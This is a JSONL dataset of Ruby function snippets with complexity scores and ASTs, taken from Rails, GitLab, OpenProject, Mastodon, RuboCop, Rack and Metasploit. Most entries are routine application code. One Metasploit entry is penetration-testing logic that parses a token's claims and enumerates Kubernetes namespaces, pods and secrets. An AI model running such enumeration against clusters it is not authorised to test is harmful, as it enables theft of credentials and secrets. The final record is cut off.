{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/option_merger_test.rb","start_line":78,"raw_source":"def test_nested_method_with_options_containing_hashes_going_deep\n    with_options html: { class: \"foo\", style: { margin: 0, display: \"block\" } } do |outer|\n      outer.with_options html: { title: \"bar\", style: { margin: \"1em\", color: \"#fff\" } } do |inner|\n        expected = { html: { class: \"foo\", title: \"bar\", style: { margin: \"1em\", display: \"block\", color: \"#fff\" } } }\n        assert_equal expected, inner.method_with_options\n      end\n    end\n  end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_nested_method_with_options_containing_hashes_going_deep\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"style\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"margin\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"display\"]},{\"type\":\"str\",\"children\":[\"block\"]}]}]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"outer\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"outer\"]},\"with_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"style\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"margin\"]},{\"type\":\"str\",\"children\":[\"1em\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"color\"]},{\"type\":\"str\",\"children\":[\"#fff\"]}]}]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"inner\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"style\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"margin\"]},{\"type\":\"str\",\"children\":[\"1em\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"display\"]},{\"type\":\"str\",\"children\":[\"block\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"color\"]},{\"type\":\"str\",\"children\":[\"#fff\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inner\"]},\"method_with_options\"]}]}]}]}]}]}","id":"7895ea0f-634a-49b1-b669-c3c86863cf12"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/project.rb","start_line":247,"raw_source":"def self.selectable_projects\n    Project.visible.select { |p| User.current.member_of? p }.sort_by(&:to_s)\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"selectable_projects\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"visible\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"member_of?\",{\"type\":\"lvar\",\"children\":[\"p\"]}]}]},\"sort_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]}","id":"772936fc-f2bc-4680-a49b-ce59f5a2bf9e"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/trailing_whitespace.rb","start_line":61,"raw_source":"def process_line(line, lineno)\n          heredoc = find_heredoc(lineno)\n          return if skip_heredoc? && heredoc\n\n          range = offense_range(lineno, line)\n          add_offense(range) do |corrector|\n            if heredoc\n              process_line_in_heredoc(corrector, range, heredoc)\n            else\n              corrector.remove(range)\n            end\n          end\n        end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"process_line\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]},{\"type\":\"arg\",\"children\":[\"lineno\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"heredoc\",{\"type\":\"send\",\"children\":[null,\"find_heredoc\",{\"type\":\"lvar\",\"children\":[\"lineno\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_heredoc?\"]},{\"type\":\"lvar\",\"children\":[\"heredoc\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[null,\"offense_range\",{\"type\":\"lvar\",\"children\":[\"lineno\"]},{\"type\":\"lvar\",\"children\":[\"line\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"range\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"heredoc\"]},{\"type\":\"send\",\"children\":[null,\"process_line_in_heredoc\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"lvar\",\"children\":[\"heredoc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"lvar\",\"children\":[\"range\"]}]}]}]}]}]}","id":"806e2b15-1591-4e72-b18a-2b3c470b6f6e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ml/destroy_experiment_service.rb","start_line":9,"raw_source":"def execute\n      if @experiment.destroy\n        ServiceResponse.success(payload: payload)\n      else\n        ServiceResponse.error(message: @experiment.errors.full_messages, payload: payload)\n      end\n    end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@experiment\"]},\"destroy\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"send\",\"children\":[null,\"payload\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@experiment\"]},\"errors\"]},\"full_messages\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"send\",\"children\":[null,\"payload\"]}]}]}]}]}]}","id":"9b612b9b-39cd-40fa-94f2-353ec63f05b9"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/work_packages/reminders_controller.rb","start_line":76,"raw_source":"def destroy\n    service_result = Reminders::DeleteService.new(user: current_user,\n                                                  model: @reminder)\n                                             .call\n\n    if service_result.success?\n      respond_with_success_flash_message(message: I18n.t(\"work_package.reminders.success_deletion_message\"))\n    else\n      render_error_flash_message_via_turbo_stream(message: service_result.errors.full_messages)\n      respond_with_turbo_streams(status: :unprocessable_entity)\n    end\n  end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reminders\"]},\"DeleteService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"ivar\",\"children\":[\"@reminder\"]}]}]}]},\"call\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_result\"]},\"success?\"]},{\"type\":\"send\",\"children\":[null,\"respond_with_success_flash_message\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"work_package.reminders.success_deletion_message\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_error_flash_message_via_turbo_stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_result\"]},\"errors\"]},\"full_messages\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"respond_with_turbo_streams\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}]}]}","id":"a853c9f0-5a85-44cc-9b57-29654e29a0ba"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/show.rb","start_line":101,"raw_source":"def has_create_merge_request_button?\n          has_css?(element_selector_css('create-merge-request-button'))\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_create_merge_request_button?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"has_css?\",{\"type\":\"send\",\"children\":[null,\"element_selector_css\",{\"type\":\"str\",\"children\":[\"create-merge-request-button\"]}]}]}]}","id":"1f5f46c0-7d46-4b99-9038-bfa12a4b60f6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/auth/dpop_token_helper.rb","start_line":96,"raw_source":"def generate_ath(pat)\n      Base64.urlsafe_encode64(Digest::SHA256.digest(pat.token), padding: false)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_ath\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pat\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"urlsafe_encode64\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA256\"]},\"digest\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pat\"]},\"token\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"padding\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"339b8253-25d8-4852-8563-da0d901a3a70"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/spec/support/pages/recurring_meeting/show.rb","start_line":122,"raw_source":"def end_meeting_series\n      page.find_test_selector(\"recurring-meeting-action-menu\").click\n      click_on \"End meeting series\"\n\n      expect_modal(\"End meeting series\")\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"end_meeting_series\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find_test_selector\",{\"type\":\"str\",\"children\":[\"recurring-meeting-action-menu\"]}]},\"click\"]},{\"type\":\"send\",\"children\":[null,\"click_on\",{\"type\":\"str\",\"children\":[\"End meeting series\"]}]},{\"type\":\"send\",\"children\":[null,\"expect_modal\",{\"type\":\"str\",\"children\":[\"End meeting series\"]}]}]}]}","id":"a8e84433-7656-4726-8e00-b60a41f1310e"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/conditional_get.rb","start_line":76,"raw_source":"def to_rfc2822(since)\n      # shortest possible valid date is the obsolete: 1 Nov 97 09:55 A\n      # anything shorter is invalid, this avoids exceptions for common cases\n      # most common being the empty string\n      if since && since.length >= 16\n        # NOTE: there is no trivial way to write this in a non exception way\n        #   _rfc2822 returns a hash but is not that usable\n        Time.rfc2822(since) rescue nil\n      end\n    end","complexity_score":7.03,"ast_json":"{\"type\":\"def\",\"children\":[\"to_rfc2822\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"since\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"since\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"since\"]},\"length\"]},\">=\",{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"rfc2822\",{\"type\":\"lvar\",\"children\":[\"since\"]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"nil\",\"children\":[]}]},null]},null]}]}","id":"b1600460-10e9-4bf2-a7f4-13ea2237b93c"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/flash_test.rb","start_line":195,"raw_source":"def test_redirect_to_with_notice\n    get :redirect_with_notice\n    assert_equal \"Good luck in the somewheres!\", @controller.flash[:notice]\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_redirect_to_with_notice\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"redirect_with_notice\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Good luck in the somewheres!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"flash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"notice\"]}]}]}]}]}","id":"61ba69e4-82e6-4267-983b-76a5cdd6814f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/spec/lib/msf/core/auxiliary/f5_spec.rb","start_line":9,"raw_source":"def framework\n      Msf::Simple::Framework.create(\n        'ConfigDirectory' => Rails.root.join('spec', 'dummy', 'framework', 'config').to_s,\n        # don't load any module paths so we can just load the module under test and save time\n        'DeferModuleLoads' => true\n      )\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"framework\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Simple\"]},\"Framework\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ConfigDirectory\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"spec\"]},{\"type\":\"str\",\"children\":[\"dummy\"]},{\"type\":\"str\",\"children\":[\"framework\"]},{\"type\":\"str\",\"children\":[\"config\"]}]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DeferModuleLoads\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"61e48899-4956-423b-b947-1a3cdcf8d5a1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb","start_line":15,"raw_source":"def enum_all\n    token_claims = parse_jwt(api_token)\n    output.print_claims(token_claims) if token_claims\n\n    enum_version\n    namespace_items = enum_namespaces\n    namespaces_name = namespace_items.map { |item| item.dig(:metadata, :name) }\n\n    # If there's no permissions to access namespaces, we can use the current token's namespace,\n    # as well as trying some common namespaces\n    if namespace_items.empty?\n      current_token_namespace = token_claims&.dig('kubernetes.io', 'namespace')\n      possible_namespaces = (datastore['NAMESPACE_LIST'].split(',') + [current_token_namespace]).uniq.compact\n      namespaces_name += possible_namespaces\n\n      output.print_error(\"Unable to extract namespaces. Attempting the current token's namespace and common namespaces: #{namespaces_name.join(', ')}\")\n    end\n\n    # Split the information for each namespace separately\n    namespaces_name.each.with_index do |namespace, index|\n      print_good(\"Namespace #{index}: #{namespace}\")\n\n      enum_auth(namespace)\n      enum_pods(namespace)\n      enum_secrets(namespace)\n\n      print_line\n    end\n  end","complexity_score":45.1,"ast_json":"{\"type\":\"def\",\"children\":[\"enum_all\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"token_claims\",{\"type\":\"send\",\"children\":[null,\"parse_jwt\",{\"type\":\"send\",\"children\":[null,\"api_token\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token_claims\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"print_claims\",{\"type\":\"lvar\",\"children\":[\"token_claims\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"enum_version\"]},{\"type\":\"lvasgn\",\"children\":[\"namespace_items\",{\"type\":\"send\",\"children\":[null,\"enum_namespaces\"]}]},{\"type\":\"lvasgn\",\"children\":[\"namespaces_name\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace_items\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"metadata\"]},{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace_items\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_token_namespace\",{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token_claims\"]},\"dig\",{\"type\":\"str\",\"children\":[\"kubernetes.io\"]},{\"type\":\"str\",\"children\":[\"namespace\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"possible_namespaces\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"NAMESPACE_LIST\"]}]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_token_namespace\"]}]}]}]},\"uniq\"]},\"compact\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"namespaces_name\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"possible_namespaces\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to extract namespaces. Attempting the current token's namespace and common namespaces: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespaces_name\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespaces_name\"]},\"each\"]},\"with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"namespace\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Namespace \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"enum_auth\",{\"type\":\"lvar\",\"children\":[\"namespace\"]}]},{\"type\":\"send\",\"children\":[null,\"enum_pods\",{\"type\":\"lvar\",\"children\":[\"namespace\"]}]},{\"type\":\"send\",\"children\":[null,\"enum_secrets\",{\"type\":\"lvar\",\"children\":[\"namespace\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]}]}]}]}]}","id":"d1107f26-20c7-44fe-85a5-1fabbb892b8d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_middleware/pause_control/pause_control_service.rb","start_line":52,"raw_source":"def resume_processing!(iterations: 1)\n          with_redis do |redis|\n            iterations.times do\n              jobs_with_scores = next_batch_from_waiting_queue(redis)\n              break if jobs_with_scores.empty?\n\n              parsed_jobs = jobs_with_scores.map { |j, _| deserialize(j) }\n\n              parsed_jobs.each { |j| send_to_processing_queue(j) }\n\n              remove_jobs_from_waiting_queue(redis, jobs_with_scores)\n            end\n\n            size = queue_size\n            redis.del(redis_score_key, redis_set_key) if size == 0\n\n            size\n          end\n        end","complexity_score":30.75,"ast_json":"{\"type\":\"def\",\"children\":[\"resume_processing!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"iterations\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iterations\"]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"jobs_with_scores\",{\"type\":\"send\",\"children\":[null,\"next_batch_from_waiting_queue\",{\"type\":\"lvar\",\"children\":[\"redis\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jobs_with_scores\"]},\"empty?\"]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"parsed_jobs\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jobs_with_scores\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"j\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[null,\"deserialize\",{\"type\":\"lvar\",\"children\":[\"j\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_jobs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"j\"]}]},{\"type\":\"send\",\"children\":[null,\"send_to_processing_queue\",{\"type\":\"lvar\",\"children\":[\"j\"]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_jobs_from_waiting_queue\",{\"type\":\"lvar\",\"children\":[\"redis\"]},{\"type\":\"lvar\",\"children\":[\"jobs_with_scores\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"size\",{\"type\":\"send\",\"children\":[null,\"queue_size\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"del\",{\"type\":\"send\",\"children\":[null,\"redis_score_key\"]},{\"type\":\"send\",\"children\":[null,\"redis_set_key\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"size\"]}]}]}]}","id":"732b9e1b-98b7-4450-adf3-eac25f78d341"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/asset_tag_helper_test.rb","start_line":1192,"raw_source":"def test_javascript_include_tag_with_streaming\n    with_preload_links_header do\n      assert_dom_equal %(<script src=\"/javascripts/foo.js\"></script>), javascript_include_tag(\"foo.js\")\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_javascript_include_tag_with_streaming\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_preload_links_header\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<script src=\\\"/javascripts/foo.js\\\"></script>\"]},{\"type\":\"send\",\"children\":[null,\"javascript_include_tag\",{\"type\":\"str\",\"children\":[\"foo.js\"]}]}]}]}]}","id":"00a2c77f-fba4-4376-8298-92830f66ef72"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/admin/system_check/media_privacy_check.rb","start_line":47,"raw_source":"def check_media_listing_inaccessible_s3!\n    urls_to_check = []\n    paperclip_options = Paperclip::Attachment.default_options\n    s3_protocol = paperclip_options[:s3_protocol]\n    s3_host_alias = paperclip_options[:s3_host_alias]\n    s3_host_name  = paperclip_options[:s3_host_name]\n    bucket_name = paperclip_options.dig(:s3_credentials, :bucket)\n\n    urls_to_check << \"#{s3_protocol}://#{s3_host_alias}/\" if s3_host_alias.present?\n    urls_to_check << \"#{s3_protocol}://#{s3_host_name}/#{bucket_name}/\"\n    urls_to_check.uniq.each do |full_url|\n      check_s3_listing!(full_url)\n      break if @failure_message.present?\n    end\n  rescue\n    nil\n  end","complexity_score":27.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check_media_listing_inaccessible_s3!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"urls_to_check\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"paperclip_options\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Paperclip\"]},\"Attachment\"]},\"default_options\"]}]},{\"type\":\"lvasgn\",\"children\":[\"s3_protocol\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paperclip_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"s3_protocol\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"s3_host_alias\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paperclip_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"s3_host_alias\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"s3_host_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paperclip_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"s3_host_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bucket_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paperclip_options\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"s3_credentials\"]},{\"type\":\"sym\",\"children\":[\"bucket\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s3_host_alias\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"urls_to_check\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s3_protocol\"]}]},{\"type\":\"str\",\"children\":[\"://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s3_host_alias\"]}]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},null]},{